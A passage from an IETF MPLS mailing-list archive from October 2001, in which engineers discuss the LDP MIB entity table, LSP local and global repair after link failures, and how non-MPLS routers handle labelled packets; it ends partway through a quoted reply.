Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id NAA03349 for mpls@uu.net; Tue, 9 Oct 2001 13:01:01 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkae21468
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 17:00:36 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkad04961
	for <mpls@UU.NET>; Tue, 9 Oct 2001 16:58:24 GMT
Received: from hawk.CrescentNetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hawk.crescentnetworks.com [66.105.92.144])
	id QQlkad27818
	for <mpls@UU.NET>; Tue, 9 Oct 2001 16:58:13 GMT
Received: from crescentnetworks.com (jcucchiara.in.crescentnets.com [192.168.29.132])
	by hawk.CrescentNetworks.com (8.9.3/8.9.3) with ESMTP id MAA07544;
	Tue, 9 Oct 2001 12:57:37 -0400 (EDT)
Message-ID: <3BC32CE8.AC5B34AD@crescentnetworks.com>
Date: Tue, 09 Oct 2001 12:59:20 -0400
From: Joan Cucchiara <jcucchia@CrescentNetworks.com>
Organization: Crescent Networks
X-Mailer: Mozilla 4.72 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Srinivas T M <srini_tm@yahoo.com>
CC: mpls@UU.NET, jcucchiara@CrescentNetworks.com,
        jluciani@CrescentNetworks.com, hans@ipunplugged.com
Subject: Re: mplsLdpEntityTable
References: <20011008165250.48840.qmail@web14307.mail.yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit



Srinivas T M wrote:
> 
> Hi,
>    Can anybody clarify my below question.
> 
> How Interface Index relates to entry in the
> mplsLdpEntityTable in case of per-platform label space
> , generic label type and in case of LDP Identifier is
> same for all interfaces ?

The entity entry/row is the configuration for a potential
session.  The Interface Index is in the label range tables
and the mplsLdpEntityLdpId and mplsLdpEntityIndex are used
to tie the entity entry with a label range entry.

In the case of the per-platform label space, this is also
the situation.  I'm not sure if this answers the question
you are asking though.


> 
>  Can we use single entry in the entity table for
> multiple interfaces? If it is like that, then what
> happens if we change label Distribution Method or
> LabelRetentionMode  or any field in the entity table,
> on interface? draft-ietf-mpls-ldp-mib-08.txt is not
> telling how interface relates to entry in the entity
> table.

The front section of the MIB and the description for
mplsLdpEntityAdminStatus does describe that it
expects the user to administratively disable the entity
(and thus take down the session -- meaning the session
is removed) and then change whatever
fields and then administratively enable the entity
to create new session.

  -Joan

> 
>   MplsLdpEntityEntry ::= SEQUENCE {
>      mplsLdpEntityLdpId        MplsLdpIdentifier,
>      mplsLdpEntityIndex        Unsigned32,
>      mplsLdpEntityProtocolVersion  Integer32,
>      mplsLdpEntityAdminStatus      INTEGER,
>      mplsLdpEntityOperStatus       INTEGER,
>      mplsLdpEntityTcpDscPort       Unsigned32,
>      mplsLdpEntityUdpDscPort       Unsigned32,
>      mplsLdpEntityMaxPduLength     Unsigned32,
>      mplsLdpEntityKeepAliveHoldTimer  Integer32,
>      mplsLdpEntityHelloHoldTimer      Integer32,
>      mplsLdpEntityInitSesThreshold    Integer32,
>      mplsLdpEntityLabelDistMethod     INTEGER,
>      mplsLdpEntityLabelRetentionMode  INTEGER,
>      mplsLdpEntityPVLMisTrapEnable    INTEGER,
>      mplsLdpEntityPVL                 Integer32,
>      mplsLdpEntityHopCountLimit       Integer32,
>      mplsLdpEntityTargPeer            TruthValue,
>      mplsLdpEntityTargPeerAddrType
> adressFamilyNumbers,
>      mplsLdpEntityTargPeerAddr      MplsLdpGenAddr,
>      mplsLdpEntityOptionalParameters
> MplsLdpLabelTypes,
>      mplsLdpEntityDiscontinuityTime   TimeStamp,
>      mplsLdpEntityStorType            StorageType,
>      mplsLdpEntityRowStatus            RowStatus
>      }
> 
> Thanks in Advance,
> Srini.
> 
> __________________________________________________
> Do You Yahoo!?
> NEW from Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month.
> http://geocities.yahoo.com/ps/info1



From owner-mpls@UU.NET  Tue Oct  9 13:06:34 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08215
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 13:06:34 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkae00309;
	Tue, 9 Oct 2001 17:03:58 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkae28810
	for mpls-outgoing; Tue, 9 Oct 2001 17:03:25 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkae28788
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 17:03:17 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkae14191
	for <mpls@UU.NET>; Tue, 9 Oct 2001 17:01:20 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlkae05612
	for <mpls@UU.NET>; Tue, 9 Oct 2001 17:01:34 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA14133;
	Tue, 9 Oct 2001 13:01:07 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA24242;
	Tue, 9 Oct 2001 13:01:07 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <TLVXGMNT>; Tue, 9 Oct 2001 13:01:05 -0400
Message-ID: <39469E08BD83D411A3D900204840EC5554C8E6@vie-msgusr-01.dc.fore.com>
From: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>
To: "'manis@futsoft.com'" <manis@futsoft.com>,
        "'Sachin Kalra'"
	 <skalra@opnet.com>, "mpls@uu.net" <mpls@UU.NET>
Subject: RE: LSP Failure/Recovery
Date: Tue, 9 Oct 2001 13:00:54 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Mani:

-> If you have a "local repair" support implemented, Router 16 will
-> reroute the LSP from itself (Router16) to the destination. It is not
-> required for the rerouting to be done from the Ingress or the head
-> of the LSP - which is known as "Global repair".

  Strictly speaking, there is no requirement that only the
  affected router (Router 16 here) should do "local repair".
  Any router/LSR which has sufficient information can do 
  local repair (for example router 15 or 14 etc)
 
-> Secondly Router 16 can reroute avoiding Router 17, only when
-> Router 17 is not an explicit Hop to be reached from Router 16 for
-> the rerouted LSP

  Not necessarily true. If one of the links between Router 16 
  and Router 17 fails, the _only_ requirement is to avoid the
  failed "link" and not the complete "node" (Router 17 here).

  So Router 16 can locally route the LSP to another parallel
  link to Router 17 _OR_ another disjoint path to 17. What you
  are trying to achieve here is link disjointness and not
  node disjointness.
   
-> W.r.to your questions, If Router 16, has indicated the ingress
-> and done the reroute (global repair), It will not indicate the
                                           ^^^^^
-> ingress to reroute again when the link between 16 and 17 comes
-> up.

  Router 16 MAY indicate the ingress LER when the link between
  Router 16 and 17 comes back up. There are no hard and fast rules...

--Venkata Naidu


From owner-mpls@UU.NET  Tue Oct  9 13:16:06 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08504
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 13:16:05 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkae24417;
	Tue, 9 Oct 2001 17:13:36 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkae08347
	for mpls-outgoing; Tue, 9 Oct 2001 17:13:24 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkae08334
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 17:13:15 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkae02737
	for <mpls@uu.net>; Tue, 9 Oct 2001 17:12:43 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkae22606
	for <mpls@uu.net>; Tue, 9 Oct 2001 17:12:35 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id NAA14487 for <mpls@uu.net>; Tue, 9 Oct 2001 13:12:42 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id NAA04150 for mpls@uu.net; Tue, 9 Oct 2001 13:12:42 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkad18335
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 16:53:54 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkad16005
	for <mpls@uu.net>; Tue, 9 Oct 2001 16:52:44 GMT
Received: from Mirabile-Dictu.ACE.LOCAL by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rover.symphony-sys.com [209.10.38.226] (may be forged))
	id QQlkad07305
	for <mpls@uu.net>; Tue, 9 Oct 2001 16:52:58 GMT
Received: from MirabileDictu ([127.0.0.1]) by Mirabile-Dictu.ACE.LOCAL with Microsoft SMTPSVC(5.0.2195.2966);
	 Tue, 9 Oct 2001 09:52:42 -0700
From: "Arun M. Thomas" <AMammenT@yahoo.com>
To: "MPLS Spec List" <mpls@UU.NET>
Subject: RE: 
Date: Tue, 9 Oct 2001 09:52:42 -0700
Message-ID: <DOEALDGNCBLENMOJJKBBEEBCCBAA.AMammenT@yahoo.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
In-reply-to: <MEEJLEKIFLLBNABPKDAOAENNCGAA.hongwei.zhou@elec.qmul.ac.uk>
Importance: Normal
X-OriginalArrivalTime: 09 Oct 2001 16:52:42.0729 (UTC) FILETIME=[D01A2590:01C150E2]
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Just a comment....  As Eric mentioned, it seems to be a matter of
definition.  In order for the tunneling idea to work, the router, while it
may not have an MPLS daemon running to handle label exchange, still needs to
be capable of detecting MPLS labelled packets.  As soon as that is true, I
don't really think it's valid to say the router is a non-mpls router.
(That's my definition.... If what was meant originally by "non-mpls router"
was simply that no handling of labels is ongoing, then all that's written
below continues to be valid.

-AMT

-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Hongwei
Sent: Tuesday, October 09, 2001 8:58 AM
To: sganguly@opulentsystems.com
Cc: mpls@UU.NET
Subject: RE:



THX for discussion :).  Yes, tunnel may be another idea, but it will more
complicate.  The mpls LERs should be policed to be aware of tunnels, and if
the LERs around the non-mpls island want to share mpls knowledge (such as
labels and TTLs),  every LER has to know which LER across the island is the
next hop. The non-mpls router is a bottleneck if it has to be routed
through.

--hongwei

-----Original Message-----
From: Sukanta Ganguly [mailto:sganguly@opulentsystems.com]
Sent: 09 October 2001 15:57
To: Hongwei
Subject: RE:


Depends on the vendor implemetation. The packet can either tunneled so that
it retains its MPLS tag via a non-MPLS network or the MPLS tag(s) can be
completely removed from the packet in which if the packet travels through a
MPLS island further then new tags have to be inserted and new LSP's have to
be used. In the latter case the sender's MPLS knowledge which as originally
present in the packet is lost.

SG




From owner-mpls@UU.NET  Tue Oct  9 13:23:25 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08801
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 13:23:25 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkaf05463;
	Tue, 9 Oct 2001 17:18:19 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkaf08931
	for mpls-outgoing; Tue, 9 Oct 2001 17:17:46 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkaf08923
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 17:17:40 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkaf00500
	for <mpls@uu.net>; Tue, 9 Oct 2001 17:17:07 GMT
Received: from [172.16.1.115] by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mdclient1.opnet.com [12.145.55.10])
	id QQlkaf03700
	for <mpls@uu.net>; Tue, 9 Oct 2001 17:17:20 GMT
Received: from wtn10021.opnet.com (unverified) by 
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T567e0372b4ac10010f608@>;
 Tue, 9 Oct 2001 13:15:42 -0400
Message-Id: <5.0.0.25.2.20011009130422.00abe560@mail.opnet.com>
X-Sender: skalra@mail.opnet.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
Date: Tue, 09 Oct 2001 13:17:06 -0400
To: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>,
        "'manis@futsoft.com'" <manis@futsoft.com>, "mpls@uu.net" <mpls@UU.NET>
From: Sachin Kalra <skalra@opnet.com>
Subject: RE: LSP Failure/Recovery
In-Reply-To: <39469E08BD83D411A3D900204840EC5554C8E6@vie-msgusr-01.dc.fo
 re.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_82090600==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_82090600==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

Venkata:

Thanks for the email.

 > Router 16 MAY indicate the ingress LER when the link between
 >Router 16 and 17 comes back up. There are no hard and fast rules...

I agree with Mani in this case and suspect that "LSR 16 MAY indicate the 
ingress LER when the link between Router 16 and 17 comes back up."

Because
1> Why would LSR16 maintain information about the broken LSP (Which is not 
going through LSR16 any more, as may be the case that LSR14/15 or Ingress 
LER may have rerouted the LSP bypassing LSR16)

2> And if LSR16 does not maintain any state for broken LSP then it should 
not even know that it has to inform any LER (or other LSR) about the link 
recovery.

Please correct me if I am wrong.
Sachin

At 01:00 PM 10/9/01 -0400, Naidu, Venkata wrote:
>Mani:
>
>-> If you have a "local repair" support implemented, Router 16 will
>-> reroute the LSP from itself (Router16) to the destination. It is not
>-> required for the rerouting to be done from the Ingress or the head
>-> of the LSP - which is known as "Global repair".
>
>   Strictly speaking, there is no requirement that only the
>   affected router (Router 16 here) should do "local repair".
>   Any router/LSR which has sufficient information can do
>   local repair (for example router 15 or 14 etc)
>
>-> Secondly Router 16 can reroute avoiding Router 17, only when
>-> Router 17 is not an explicit Hop to be reached from Router 16 for
>-> the rerouted LSP
>
>   Not necessarily true. If one of the links between Router 16
>   and Router 17 fails, the _only_ requirement is to avoid the
>   failed "link" and not the complete "node" (Router 17 here).
>
>   So Router 16 can locally route the LSP to another parallel
>   link to Router 17 _OR_ another disjoint path to 17. What you
>   are trying to achieve here is link disjointness and not
>   node disjointness.
>
>-> W.r.to your questions, If Router 16, has indicated the ingress
>-> and done the reroute (global repair), It will not indicate the
>                                            ^^^^^
>-> ingress to reroute again when the link between 16 and 17 comes
>-> up.
>
>   Router 16 MAY indicate the ingress LER when the link between
>   Router 16 and 17 comes back up. There are no hard and fast rules...
>
>--Venkata Naidu

--=====================_82090600==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
Venkata:<br>
<br>
Thanks for the email.<br>
<br>
&gt; Router 16 MAY indicate the ingress LER when the link between<br>
&gt;Router 16 and 17 comes back up. There are no hard and fast
rules...<br>
<br>
I agree with Mani in this case and suspect that &quot;LSR 16 MAY indicate
the ingress LER when the link between Router 16 and 17 comes back
up.&quot;<br>
<br>
Because<br>
1&gt; Why would LSR16 maintain information about the broken LSP (Which is
not going through LSR16 any more, as may be the case that LSR14/15 or
Ingress LER may have rerouted the LSP bypassing LSR16)<br>
<br>
2&gt; And if LSR16 does not maintain any state for broken LSP then it
should not even know that it has to inform any LER (or other LSR) about
the link recovery. <br>
<br>
Please correct me if I am wrong.<br>
Sachin<br>
<br>
At 01:00 PM 10/9/01 -0400, Naidu, Venkata wrote:<br>
<blockquote type=cite class=cite cite>Mani:<br>
<br>
-&gt; If you have a &quot;local repair&quot; support implemented, Router
16 will<br>
-&gt; reroute the LSP from itself (Router16) to the destination. It is
not<br>
-&gt; required for the rerouting to be done from the Ingress or the
head<br>
-&gt; of the LSP - which is known as &quot;Global repair&quot;.<br>
<br>
&nbsp; Strictly speaking, there is no requirement that only the<br>
&nbsp; affected router (Router 16 here) should do &quot;local
repair&quot;.<br>
&nbsp; Any router/LSR which has sufficient information can do <br>
&nbsp; local repair (for example router 15 or 14 etc)<br>
&nbsp;<br>
-&gt; Secondly Router 16 can reroute avoiding Router 17, only when<br>
-&gt; Router 17 is not an explicit Hop to be reached from Router 16
for<br>
-&gt; the rerouted LSP<br>
<br>
&nbsp; Not necessarily true. If one of the links between Router 16 <br>
&nbsp; and Router 17 fails, the _only_ requirement is to avoid the<br>
&nbsp; failed &quot;link&quot; and not the complete &quot;node&quot;
(Router 17 here).<br>
<br>
&nbsp; So Router 16 can locally route the LSP to another parallel<br>
&nbsp; link to Router 17 _OR_ another disjoint path to 17. What you<br>
&nbsp; are trying to achieve here is link disjointness and not<br>
&nbsp; node disjointness.<br>
&nbsp;&nbsp; <br>
-&gt; W.r.to your questions, If Router 16, has indicated the 
ingress<br>
-&gt; and done the reroute (global repair), It will not indicate 
the<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
^^^^^<br>
-&gt; ingress to reroute again when the link between 16 and 17 
comes<br>
-&gt; up.<br>
<br>
&nbsp; Router 16 MAY indicate the ingress LER when the link between<br>
&nbsp; Router 16 and 17 comes back up. There are no hard and fast
rules...<br>
<br>
--Venkata Naidu </blockquote></html>

--=====================_82090600==_.ALT--



From owner-mpls@UU.NET  Tue Oct  9 13:33:25 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA09581
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 13:33:24 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkag24734;
	Tue, 9 Oct 2001 17:30:58 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkag09778
	for mpls-outgoing; Tue, 9 Oct 2001 17:30:47 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkag09773
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 17:30:44 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkaf10359
	for <mpls@uu.net>; Tue, 9 Oct 2001 17:29:35 GMT
Received: from fcs-nt1.futsoft.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fcs-nt1.futsoft.com [66.122.42.228])
	id QQlkaf22165
	for <mpls@uu.net>; Tue, 9 Oct 2001 17:29:27 GMT
Received: from sanjose.futsoft.com (unverified) by fcs-nt1.futsoft.com
 (Content Technologies SMTPRS 2.0.15) with SMTP id <B0000401163@fcs-nt1.futsoft.com>;
 Tue, 09 Oct 2001 10:31:56 -0700
Received: from manis (adsl-66-122-42-231.futsoft.com [66.122.42.231])
	by sanjose.futsoft.com (8.9.3/8.8.7) with SMTP id JAA22077;
	Tue, 9 Oct 2001 09:15:18 -0700
Received: by localhost with Microsoft MAPI; Tue, 9 Oct 2001 10:33:50 -0700
Message-Id: <01C150AD.E2CF8660.manis@futsoft.com>
From: "S.Manikantan" <manis@futsoft.com>
Reply-To: "manis@futsoft.com" <manis@futsoft.com>
To: "'Naidu, Venkata'" <Venkata.Naidu@Marconi.com>,
        "'Sachin Kalra'"
	 <skalra@opnet.com>, "mpls@uu.net" <mpls@UU.NET>
Subject: RE: LSP Failure/Recovery
Date: Tue, 9 Oct 2001 10:33:49 -0700
Organization: Future Communications Software
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hello Venkata

#-> If you have a "local repair" support implemented, Router 16 will
#-> reroute the LSP from itself (Router16) to the destination. It is not
#-> required for the rerouting to be done from the Ingress or the head
#-> of the LSP - which is known as "Global repair".
#
#  Strictly speaking, there is no requirement that only the
#  affected router (Router 16 here) should do "local repair".
#  Any router/LSR which has sufficient information can do 
#  local repair (for example router 15 or 14 etc)

Yes. I agree that there other than Router 16, its upstream
LSRs/Routers too do the "local repair". 

I meant, if Router 16 has the capability to do the local
repair, it can reroute the LSP from its point itself.
In that case Router 15 or 14 need not do a re route. Am I right?

# 
#-> Secondly Router 16 can reroute avoiding Router 17, only when
#-> Router 17 is not an explicit Hop to be reached from Router 16 for
#-> the rerouted LSP
#
#  Not necessarily true. If one of the links between Router 16 
#  and Router 17 fails, the _only_ requirement is to avoid the
#  failed "link" and not the complete "node" (Router 17 here).
#
#  So Router 16 can locally route the LSP to another parallel
#  link to Router 17 _OR_ another disjoint path to 17. What you
#  are trying to achieve here is link disjointness and not
#  node disjointness.

I meant, suppose the LSP is initially established, and the LSP request
had Router 17 as a strict hop (ERO) to be reached from Router 16. In this
case the LSP cannot be rerouted right? Since Router 17 is the one
to be reached from Router 16. 

Let me know if I am missing something?

#   
#-> W.r.to your questions, If Router 16, has indicated the ingress
#-> and done the reroute (global repair), It will not indicate the
#                                           ^^^^^
#-> ingress to reroute again when the link between 16 and 17 comes
#-> up.
#
#  Router 16 MAY indicate the ingress LER when the link between
#  Router 16 and 17 comes back up. There are no hard and fast rules...

Is this more of an implementation related one? i.e. to indicate the ingress?

Correct me .. I may be wrong?

regards
mani



From owner-mpls@UU.NET  Tue Oct  9 13:44:32 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA10286
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 13:44:32 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkag11952;
	Tue, 9 Oct 2001 17:40:52 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkag10558
	for mpls-outgoing; Tue, 9 Oct 2001 17:40:24 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkag10553
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 17:40:13 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkag09595
	for <mpls@UU.NET>; Tue, 9 Oct 2001 17:40:01 GMT
Received: from zcars0m9.nortelnetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: zcars0m9.nortelnetworks.com [47.129.242.157])
	id QQlkag09944
	for <mpls@UU.NET>; Tue, 9 Oct 2001 17:39:53 GMT
Received: from zcars04e.ca.nortel.com (zcars04e.ca.nortel.com [47.129.242.56])
	by zcars0m9.nortelnetworks.com (8.11.0/8.11.0) with ESMTP id f99HdQS10869
	for <mpls@UU.NET>; Tue, 9 Oct 2001 13:39:26 -0400 (EDT)
Received: from zcard015.ca.nortel.com (actually zcard015) 
          by zcars04e.ca.nortel.com; Tue, 9 Oct 2001 13:39:44 -0400
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <42PM1DN8>; Tue, 9 Oct 2001 13:39:29 -0400
Message-ID: <3549C09B853DD5119B540002A52CDD3454B7EF@zcard0ka.ca.nortel.com>
From: "David Allan" <dallan@nortelnetworks.com>
To: Sachin Kalra <skalra@opnet.com>,
        "Naidu, Venkata" <Venkata.Naidu@Marconi.com>,
        "'manis@futsoft.com'" <manis@futsoft.com>, "mpls@uu.net" <mpls@UU.NET>
Subject: RE: LSP Failure/Recovery
Date: Tue, 9 Oct 2001 13:39:23 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C150E9.557E57F0"
X-Orig: <dallan@americasm01.nt.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C150E9.557E57F0
Content-Type: text/plain;
	charset="iso-8859-1"

Sachin/Venkata:
 
You're mixing protection switching, and re-route scenarios. There are
specific behaviors/state requirements depending on the recovery strategy,
    - LSR 16 may tell the ingress (revertive/non-revertive global repair), 
    - LSR 16 may tell no-one (local repair),  
    - LSR 16 may tell EVERYONE (simple re-route) when the link goes
down/comes back up.
 
later
Dave
 
 


From: Sachin Kalra [mailto:skalra@opnet.com]
Sent: Tuesday, October 09, 2001 1:17 PM
To: Naidu, Venkata; 'manis@futsoft.com'; mpls@uu.net
Subject: RE: LSP Failure/Recovery


Venkata:

Thanks for the email.

> Router 16 MAY indicate the ingress LER when the link between
>Router 16 and 17 comes back up. There are no hard and fast rules...

I agree with Mani in this case and suspect that "LSR 16 MAY indicate the
ingress LER when the link between Router 16 and 17 comes back up."

Because
1> Why would LSR16 maintain information about the broken LSP (Which is not
going through LSR16 any more, as may be the case that LSR14/15 or Ingress
LER may have rerouted the LSP bypassing LSR16)

2> And if LSR16 does not maintain any state for broken LSP then it should
not even know that it has to inform any LER (or other LSR) about the link
recovery. 

Please correct me if I am wrong.
Sachin

At 01:00 PM 10/9/01 -0400, Naidu, Venkata wrote:


Mani:

-> If you have a "local repair" support implemented, Router 16 will
-> reroute the LSP from itself (Router16) to the destination. It is not
-> required for the rerouting to be done from the Ingress or the head
-> of the LSP - which is known as "Global repair".

  Strictly speaking, there is no requirement that only the
  affected router (Router 16 here) should do "local repair".
  Any router/LSR which has sufficient information can do 
  local repair (for example router 15 or 14 etc)
 
-> Secondly Router 16 can reroute avoiding Router 17, only when
-> Router 17 is not an explicit Hop to be reached from Router 16 for
-> the rerouted LSP

  Not necessarily true. If one of the links between Router 16 
  and Router 17 fails, the _only_ requirement is to avoid the
  failed "link" and not the complete "node" (Router 17 here).

  So Router 16 can locally route the LSP to another parallel
  link to Router 17 _OR_ another disjoint path to 17. What you
  are trying to achieve here is link disjointness and not
  node disjointness.
   
-> W.r.to your questions, If Router 16, has indicated the ingress
-> and done the reroute (global repair), It will not indicate the
